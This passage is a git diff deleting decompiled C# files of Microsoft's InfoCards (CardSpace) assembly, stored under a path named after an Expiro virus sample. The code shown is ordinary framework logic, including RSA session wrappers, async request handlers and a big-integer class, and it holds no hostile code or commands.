a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs deleted file mode 100644 index 1471f318..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecisionTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal static class AppliesToBehaviorDecisionTable - { - private static AppliesToBehaviorDecision[,] appliesToDecisionTable = new AppliesToBehaviorDecision[2, 3]; - - static AppliesToBehaviorDecisionTable() - { - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 0] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 0] = AppliesToBehaviorDecision.FailMatch; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 1] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 1] = AppliesToBehaviorDecision.SendRPAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 2] = AppliesToBehaviorDecision.SendCustomAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 2] = AppliesToBehaviorDecision.SendRPAppliesTo; - } - - private static AppliesToBehaviorDecision GetAppliesToBehaviorDecision( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo, - bool considerUnrecognizedElements) - { - int index = (EndpointAddress) null == policy.PolicyAppliesTo ? 0 : 1; - if (considerUnrecognizedElements) - index = policy.NonWhiteListElementsFound ? 1 : index; - return AppliesToBehaviorDecisionTable.appliesToDecisionTable[index, (int) requireAppliesTo]; - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForRst( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, false); - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForPolicyMatch( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, true); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Asn1Utilities.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Asn1Utilities.cs deleted file mode 100644 index 7cc53987..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Asn1Utilities.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Asn1Utilities -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal class Asn1Utilities - { - private Asn1Utilities() - { - } - - public static string ToHexDump(byte[] bytes) => ""; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsymmetricCryptoSession.cs deleted file mode 100644 index 54a0e878..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsymmetricCryptoSession.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AsymmetricCryptoSession : CryptoSession - { - private RSACryptoServiceProvider m_provider; - - public AsymmetricCryptoSession( - Process process, - DateTime expirationTime, - WindowsIdentity identity, - RSACryptoServiceProvider key) - : base(process, expirationTime, identity, (object) key, CryptoSession.SessionType.Asymmetric) - { - this.m_provider = key; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_provider.KeySize); - Utility.SerializeString(bwriter, this.m_provider.KeyExchangeAlgorithm); - Utility.SerializeString(bwriter, this.m_provider.SignatureAlgorithm); - } - - protected override void OnDispose() - { - this.m_provider.Clear(); - this.m_provider.Dispose(); - this.m_provider = (RSACryptoServiceProvider) null; - } - - public byte[] Encrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Encrypt(inData, fOAEP); - } - - public byte[] Decrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Decrypt(inData, fOAEP); - } - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - this.ThrowIfDisposed(); - return this.m_provider.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - this.ThrowIfDisposed(); - return this.m_provider.VerifyHash(hash, hashAlgOid, sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsyncParams.cs deleted file mode 100644 index 2b695a1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsyncParams.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal abstract class AsyncParams - { - private RpcAsyncResult m_asyncResult; - - protected AsyncParams(ClientRequest request, string opType, SafeWaitHandle externEvent) => this.m_asyncResult = new RpcAsyncResult(request, opType, externEvent); - - public RpcAsyncResult AsyncResult => this.m_asyncResult; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AuditLog.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AuditLog.cs deleted file mode 100644 index 1c831d6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AuditLog.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AuditLog -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal static class AuditLog - { - public static void AuditCardWritten() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_WRITTEN); - - public static void AuditCardDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_DELETE); - - public static void AuditCardImport() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_IMPORT); - - public static void AuditStoreImport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_IMPORT); - - public static void AuditStoreExport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_EXPORT); - - public static void AuditStoreDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_DELETE); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs deleted file mode 100644 index 478c38e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginCreateSecurityTokenRequest : UIAgentAsyncBeginRequest - { - private bool m_discloseOptional; - private TokenFactoryCredential m_credential; - - public BeginCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_discloseOptional = reader.ReadBoolean(); - this.m_credential = TokenFactoryCredential.CreateFrom(reader, (UIAgentRequest) this, this.ParentRequest.UserLanguage); - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).CreateSecurityToken(this.m_credential, this.m_discloseOptional); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelCreateSecurityToken(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs deleted file mode 100644 index 0c6e8bad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginGetFileNameFromUserRequest : UIAgentAsyncBeginRequest - { - private bool m_getContent; - private string m_arguments; - - public BeginGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_getContent = reader.ReadBoolean(); - this.m_arguments = Utility.DeserializeString(reader); - } - - protected override object AsyncExecute(AsyncParams asyncParams) - { - uint num = 0; - string empty = string.Empty; - GetFileNameResult getFileNameResult = new GetFileNameResult(); - using (new SystemIdentity(true)) - num = NativeMcppMethods.CreateAndWaitForFileOpenDialogWrapper(this.m_arguments, this.RequestorIdentity, this.ParentRequest.CallerPid, ref empty); - if (num == 0U) - { - try - { - getFileNameResult.FileName = empty; - if (this.m_getContent) - { - if (!string.IsNullOrEmpty(empty)) - { - FileInfo fileInfo = new FileInfo(empty); - using (FileStream fileStream = File.OpenRead(empty)) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader((Stream) fileStream); - getFileNameResult.FileContent = binaryReader.ReadBytes((int) fileInfo.Length); - } - } - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new FileAccessException(SR.GetString("ServiceInaccessibleFile"), ex)); - throw; - } - } - return (object) getFileNameResult; - } - - protected override void AsyncCancel() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginSelectCardRequest.cs deleted file mode 100644 index f27e1937..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginSelectCardRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginSelectCardRequest : UIAgentAsyncBeginRequest - { - private InfoCard m_card; - - public BeginSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_card = new InfoCard(reader.BaseStream); - this.m_card.GetExtendedInformation().Deserialize(reader.BaseStream); - this.m_card.GetRPIdentityRequirement().Deserialize(reader.BaseStream); - this.m_card.GetClaims().Deserialize(reader.BaseStream); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardMasterKey masterKey = this.m_card.GetMasterKey(connection); - if (!this.m_card.IsPinProtected) - return; - masterKey.Decrypt(masterKey.GetPinHelper(this.m_card.Pin)); - } - finally - { - connection.Close(); - } - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).SelectCard(this.m_card, this.m_card.IsSelfIssued); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelSelectCard(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BigInt.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BigInt.cs deleted file mode 100644 index b79a3755..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BigInt.cs +++ /dev/null @@ -1,400 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BigInt -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class BigInt - { - private const int m_maxbytes = 128; - private const int m_base = 256; - private byte[] m_elements; - private int m_size; - private static readonly char[] decValues = new char[10] - { - '0', - '1', - '2', - '3', - '4', - '5', - '6', - '7', - '8', - '9' - }; - - internal BigInt() => this.m_elements = new byte[128]; - - internal BigInt(byte[] b) - { - this.m_elements = new byte[128]; - Array.Copy((Array) b, (Array) this.m_elements, b.Length); - this.m_size = b.Length; - } - - internal BigInt(byte b) - { - this.m_elements = new byte[128]; - this.SetDigit(0, b); - } - - internal int Size - { - get => this.m_size; - set - { - this.m_size = value; - if (value > 128) - this.m_size = 128; - if (value >= 0) - return; - this.m_size = 0; - } - } - - internal byte GetDigit(int index) => index < 0 || index >= this.m_size ? (byte) 0 : this.m_elements[index]; - - internal void SetDigit(int index, byte digit) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= this.m_size && digit != (byte) 0) - this.m_size = index + 1; - if (index != this.m_size - 1 || digit != (byte) 0) - return; - --this.m_size; - } - - internal void SetDigit(int index, byte digit, ref int size) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= size && digit != (byte) 0) - size = index + 1; - if (index != size - 1 || digit != (byte) 0) - return; - --size; - } - - public static bool operator <(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return true; - if (value2 == (BigInt) null) - return false; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 < size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] < (int) value2.m_elements[size1]; - } - return false; - } - - public static bool operator >(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return false; - if (value2 == (BigInt) null) - return true; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 > size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] > (int) value2.m_elements[size1]; - } - return false; - } - - public static bool operator ==(BigInt value1, BigInt value2) - { - if ((object) value1 == null) - return (object) value2 == null; - if ((object) value2 == null) - return (object) value1 == null; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return false; - for (int index = 0; index < size1; ++index) - { - if ((int) value1.m_elements[index] != (int) value2.m_elements[index]) - return false; - } - return true; - } - - public static bool operator !=(BigInt value1, BigInt value2) => !(value1 == value2); - - public override bool Equals(object obj) - { - BigInt bigInt = obj as BigInt; - return (BigInt) null != bigInt && bigInt == this; - } - - public override int GetHashCode() - { - int hashCode = 0; - for (int index = 0; index < this.m_size; ++index) - hashCode += (int) this.GetDigit(index); - return hashCode; - } - - internal static void Add(BigInt a, byte b, ref BigInt c) - { - byte digit = b; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num = (int) a.GetDigit(index) + (int) digit; - c.SetDigit(index, (byte) (num & (int) byte.MaxValue), ref size2); - digit = (byte) (num >> 8 & (int) byte.MaxValue); - } - if (digit != (byte) 0) - c.SetDigit(a.Size, digit, ref size2); - c.Size = size2; - } - - internal static void Negate(ref BigInt a) - { - int size = 0; - for (int index = 0; index < 128; ++index) - a.SetDigit(index, (byte) ((uint) ~a.GetDigit(index) & (uint) byte.MaxValue), ref size); - for (int index = 0; index < 128; ++index) - { - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) + 1U), ref size); - if (((int) a.GetDigit(index) & (int) byte.MaxValue) == 0) - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) & (uint) byte.MaxValue), ref size); - else - break; - } - a.Size = size; - } - - internal static void Subtract(BigInt a, BigInt b, ref BigInt c) - { - byte num1 = 0; - if (a < b) - { - BigInt.Subtract(b, a, ref c); - BigInt.Negate(ref c); - } - else - { - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = (int) a.GetDigit(index) - (int) b.GetDigit(index) - (int) num1; - num1 = (byte) 0; - if (num2 < 0) - { - num2 += 256; - num1 = (byte) 1; - } - c.SetDigit(index, (byte) (num2 & (int) byte.MaxValue), ref size2); - } - c.Size = size2; - } - } - - private void Multiply(int b) - { - if (b == 0) - { - this.Clear(); - } - else - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) this.GetDigit(index) + num1; - num1 = num2 / 256; - this.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - this.SetDigit(size1 + index, bytes[index], ref size2); - } - this.Size = size2; - } - } - - private static void Multiply(BigInt a, int b, ref BigInt c) - { - if (b == 0) - { - c.Clear(); - } - else - { - int num1 = 0; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) a.GetDigit(index) + num1; - num1 = num2 / 256; - c.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - c.SetDigit(size1 + index, bytes[index], ref size2); - } - c.Size = size2; - } - } - - private void Divide(int b) - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - while (size1-- > 0) - { - int num2 = 256 * num1 + (int) this.GetDigit(size1); - num1 = num2 % b; - this.SetDigit(size1, (byte) (num2 / b), ref size2); - } - this.Size = size2; - } - - internal static void Divide( - BigInt numerator, - BigInt denominator, - ref BigInt quotient, - ref BigInt remainder) - { - if (numerator < denominator) - { - quotient.Clear(); - remainder.CopyFrom(numerator); - } - else if (numerator == denominator) - { - quotient.Clear(); - quotient.SetDigit(0, (byte) 1); - remainder.Clear(); - } - else - { - BigInt c1 = new BigInt(); - c1.CopyFrom(numerator); - BigInt a = new BigInt(); - a.CopyFrom(denominator); - uint num = 0; - while (a.Size < c1.Size) - { - a.Multiply(256); - ++num; - } - if (a > c1) - { - a.Divide(256); - --num; - } - BigInt c2 = new BigInt(); - quotient.Clear(); - for (int index = 0; (long) index <= (long) num; ++index) - { - int b = (c1.Size == a.Size ? (int) c1.GetDigit(c1.Size - 1) : 256 * (int) c1.GetDigit(c1.Size - 1) + (int) c1.GetDigit(c1.Size - 2)) / (int) a.GetDigit(a.Size - 1); - if (b >= 256) - b = (int) byte.MaxValue; - BigInt.Multiply(a, b, ref c2); - while (c2 > c1) - { - --b; - BigInt.Multiply(a, b, ref c2); - } - quotient.Multiply(256); - BigInt.Add(quotient, (byte) b, ref quotient); - BigInt.Subtract(c1, c2, ref c1); - a.Divide(256); - } - remainder.CopyFrom(c1); - } - } - - internal void CopyFrom(BigInt a) - { - Array.Copy((Array) a.m_elements, (Array) this.m_elements, 128); - this.m_size = a.m_size; - } - - internal bool IsZero() - { - for (int index = 0; index < this.m_size; ++index) - { - if (this.m_elements[index] != (byte) 0) - return false; - } - return true; - } - - internal byte[] ToByteArray() - { - byte[] destinationArray = new byte[this.Size]; - Array.Copy((Array) this.m_elements, (Array) destinationArray, this.Size); - return destinationArray; - } - - internal void Clear() => this.m_size = 0; - - internal void FromDecimal(string decNum) - { - BigInt c1 = new BigInt(); - BigInt c2 = new BigInt(); - int length = decNum.Length; - for (int index = 0; index < length; ++index) - { - if (decNum[index] > '9' || decNum[index] < '0') - throw InfoCardTrace.ThrowHelperError((Exception) new FormatException()); - BigInt.Multiply(c1, 10, ref c2); - BigInt.Add(c2, (byte) ((uint) decNum[index] - 48U), ref c1); - } - this.CopyFrom(c1); - } - - internal string ToDecimal() - { - BigInt denominator = new BigInt((byte) 10); - BigInt numerator = new BigInt(); - BigInt quotient = new BigInt(); - BigInt remainder = new BigInt(); - numerator.CopyFrom(this); - char[] chArray = new char[8 * this.m_size / 3]; - int length = 0; - do - { - BigInt.Divide(numerator, denominator, ref quotient, ref remainder); - chArray[length++] = BigInt.decValues[(int) remainder.m_elements[0]]; - numerator.CopyFrom(quotient); - } - while (!quotient.IsZero()); - Array.Reverse((Array) chArray, 0, length); - return new string(chArray, 0, length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BrowserPolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BrowserPolicyValidator.cs deleted file mode 100644 index cb563cce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BrowserPolicyValidator.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BrowserPolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal class BrowserPolicyValidator : PolicyValidator - { - public BrowserPolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidatePrivacyVersion(); - this.ValidateRecipients(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CancelAsyncOperationRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CancelAsyncOperationRequest.cs deleted file mode 100644 index 1b09b7ff..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CancelAsyncOperationRequest.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CancelAsyncOperationRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class CancelAsyncOperationRequest : UIAgentRequest - { - private int m_asyncHandle; - - public CancelAsyncOperationRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new 